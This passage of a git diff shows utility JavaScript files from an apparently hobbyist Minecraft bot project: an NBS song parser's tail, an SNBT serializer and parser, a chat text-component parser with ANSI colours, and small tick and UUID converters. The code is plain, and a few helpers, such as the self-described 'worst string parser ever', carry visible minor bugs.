return (byte1 + (byte2 << 8) + (byte3 << 16) + (byte4 << 24))
}
function readString () {
let length = readInt()
let str = ''
for (; length > 0; --length) {
let c = String.fromCharCode(readByte())
if (c === String.fromCharCode(0x0D)) {
c = ' '
}
str += c
}
return str
}
}
function NBSNote () {
return {
tick: null,
layer: null,
instrument: null,
key: null,
velocity: 100,
panning: 100,
pitch: 0
}
}
function NBSLayer () {
return {
name: null,
lock: 0,
volume: null,
stereo: 100
}
}
module.exports = { parse, NBSNote, NBSLayer }

117
util/snbt.js Normal file
View file

@ -0,0 +1,117 @@
const quotes = ['"', "'"]
function stringify (nbt, space = false) {
const sep = ',' + (space ? ' ' : '')
switch (nbt.type) {
case 'byte':
return nbt.value + 'b'
case 'short':
return nbt.value + 's'
case 'int':
return nbt.value.toString()
case 'long':
return nbt.value + 'l'
case 'float':
return nbt.value + 'f'
case 'double':
return nbt.value + 'd'
case 'string':
return stringifyStr(nbt.value, true)
case 'list':
return `[${
nbt.value.value
.map((tag) => stringify({ type: nbt.value.type, value: tag }, space))
.join(sep)
}]`
case 'compound':
return `{${Object.entries(nbt.value).map(([key, prop]) =>
stringifyStr(key, false) + ':' + (space ? ' ' : '') + stringify(prop)
).join(sep)}}`
case 'byteArray':
return `[B;${space ? ' ' : ''}${
nbt.value
.map((value) => stringify({ type: 'byte', value }))
.join(sep)
}]`
case 'intArray':
return `[I;${space ? ' ' : ''}${
nbt.value
.map((value) => stringify({ type: 'int', value }))
.join(sep)
}]`
case 'longArray':
return `[L;${space ? ' ' : ''}${
nbt.value
.map((value) => stringify({ type: 'long', value }))
.join(sep)
}]`
case 'bool':
return nbt.value.toString()
default:
throw new Error('Unknown type: ' + nbt.type)
}
function stringifyStr (str, forceQuotes = false) {
const regex = /['\\]/g
if (regex.test(str) || /[\s|"]/g.test(str) || forceQuotes) {
str = `'${str.replace(regex, (m) => '\\' + m)}'`
}
return str
}
}
function parse (snbt) {
const num = parseInt(snbt)
if (!isNaN(num)) {
if (snbt.endsWith('b')) {
return { type: 'byte', value: num }
} else if (snbt.endsWith('s')) {
return { type: 'short', value: num }
} else if (snbt.endsWith('l')) {
return { type: 'long', value: num }
} else if (snbt.endsWith('f')) {
return { type: 'float', value: num }
} else if (snbt.endsWith('d')) {
return { type: 'double', value: num }
} else {
return { type: 'int', value: num }
}
} else if (snbt === 'true') { return true } else if (snbt === 'false') { return false } else if (snbt.startsWith('{') && snbt.endsWith('}')) {
const entries = split(snbt.slice(1, -1), ',').map(e => split(e, ':')).map(([key, prop]) => [parseStr(key), parse(prop)])
const obj = {}
entries.forEach(([key, prop]) => (obj[key] = prop))
return { type: 'compound', value: obj }
// } else if (snbt.startsWith('[') && snbt.endsWith(']')) {
} else {
return { type: 'string', value: parseStr(snbt) }
}
// worst string parser ever
function parseStr (str) {
const unquotedWl = /[a-zA-Z0-9+\-.]/g
// check quotes
for (const quote of quotes) {
if (str.startsWith(quote) && str.startsWith(quote)) {
return str.replace(new RegExp(`\\\\|\\${quote}`, 'g'), (m) => m.slice(1))
}
}
// if (!unquotedWl.test(str)) throw new Error('Invalid character in unquoted string: ' + str)
return str
}
function split (str, char, times = Infinity) {
let quote = null
let split = ''
const result = []
for (let i = 0; i < str.length; i++) {
if (quotes.includes(str[i]) && str[i - 1] !== '\\') {
if (!quote) { quote = str[i] } else if (str[i] === quote) { quote = null }
} else if (str[i] === char || !quote) {
result.push(split.trim())
split = ''
} else {
split += str[i]
}
}
return [...result, split]
}
}
module.exports = { stringify, parse }

124
util/text_parser.js Normal file
View file

@ -0,0 +1,124 @@
const { language } = require('minecraft-data')('1.17.1')
const colormap = {
black: '§0',
dark_blue: '§1',
dark_green: '§2',
dark_aqua: '§3',
dark_red: '§4',
dark_purple: '§5',
gold: '§6',
gray: '§7',
dark_gray: '§8',
blue: '§9',
green: '§a',
aqua: '§b',
red: '§c',
light_purple: '§d',
yellow: '§e',
white: '§f',
reset: '§r'
}
const ansimap = {
'§0': '\x1b[0m\x1b[30m',
'§1': '\x1b[0m\x1b[34m',
'§2': '\x1b[0m\x1b[32m',
'§3': '\x1b[0m\x1b[36m',
'§4': '\x1b[0m\x1b[31m',
'§5': '\x1b[0m\x1b[35m',
'§6': '\x1b[0m\x1b[33m',
'§7': '\x1b[0m\x1b[37m',
'§8': '\x1b[0m\x1b[90m',
'§9': '\x1b[0m\x1b[94m',
'§a': '\x1b[0m\x1b[92m',
'§b': '\x1b[0m\x1b[96m',
'§c': '\x1b[0m\x1b[91m',
'§d': '\x1b[0m\x1b[95m',
'§e': '\x1b[0m\x1b[93m',
'§f': '\x1b[0m\x1b[97m',
'§r': '\x1b[0m',
'§l': '\x1b[1m',
'§o': '\x1b[3m',
'§n': '\x1b[4m',
'§m': '\x1b[9m',
'§k': '\x1b[6m'
}
/**
* Parses a native minecraft text component in string form.
* @param {string} json_string - A text component string, such as the chat packet's 'message' property.
* @returns {object} Parsed message in { raw, clean, ansi } form.
*/
function parseText (jsonString) {
const json = JSON.parse(jsonString)
let raw = parseJson(json, { color: 'reset' })
if (raw.startsWith('§r')) {
raw = raw.substring(2)
}
const clean = raw.replace(/§./g, '').replace(/§/g, '')
const ansi = raw.replace(/§[a-f0-9rlonmk]/g, (m) => ansimap[m])
return { raw, clean, ansi }
}
/**
* Parses a native minecraft text component in JSON form.
* @param {object} json - The json message.
* @param {object} parent - The parent json.
* @returns {string} The parsed raw string.
*/
function parseJson (json, parent) {
if (typeof json === 'string') {
json = { text: json }
}
json.color ??= parent.color
json.bold ??= parent.bold
json.italic ??= parent.italic
json.underlined ??= parent.underlined
json.strikethrough ??= parent.strikethrough
json.obfuscated ??= parent.obfuscated
let raw = ''
// if (json.color.startsWith('#'))
// raw += '§' + color
// else
raw += colormap[json.color] || ''
if (json.bold) raw += '§l'
if (json.italic) raw += '§o'
if (json.underlined) raw += '§n'
if (json.strikethrough) raw += '§m'
if (json.obfuscated) raw += '§k'
if (json.text) {
raw += json.text
}
if (json.translate) { // I checked with the native minecraft code. This is how Minecraft does the matching and group indexing. -hhhzzzsss
if (language[json.translate]) {
const _with = json.with ?? []
let i = 0
raw += language[json.translate].replace(/%(?:(\\d+)\\$)?(s|%)/g, (g0, g1) => {
if (g0 === '%%') {
return '%'
} else {
const idx = g1 ? parseInt(g1) : i++
if (_with[idx]) {
return parseJson(_with[idx], json)
} else {
return ''
}
}
})
} else {
raw += json.translate
}
}
if (json.extra) {
json.extra.forEach((extra) => {
raw += parseJson(extra, json)
})
}
return raw
}
module.exports = parseText

6
util/ticks-to-m-ss.js Normal file
View file

@ -0,0 +1,6 @@
function convertTicks (ticks) {
const s = (Math.floor(ticks / 20) % 60).toString()
return `${Math.floor((ticks / 20) / 60)}:${s.length >= 2 ? s : '0' + s}`
}
module.exports = convertTicks

8
util/uuid-to-nbt-uuid.js Normal file
View file

@ -0,0 +1,8 @@
// originally from https://gist.github.com/storycraft/7813dd0186e85daa393e1df9cfa19f2a
const nbt = require('prismarine-nbt')
function toNBTUUID (uuid) {
return nbt.intArray(uuid.replace(/-/g, '').match(/.{8}/g).map(str => Number.parseInt(str, 16)).map(num => num & 0x80000000 ? num - 0xffffffff - 1 : num))
}
module.exports = toNBTUUID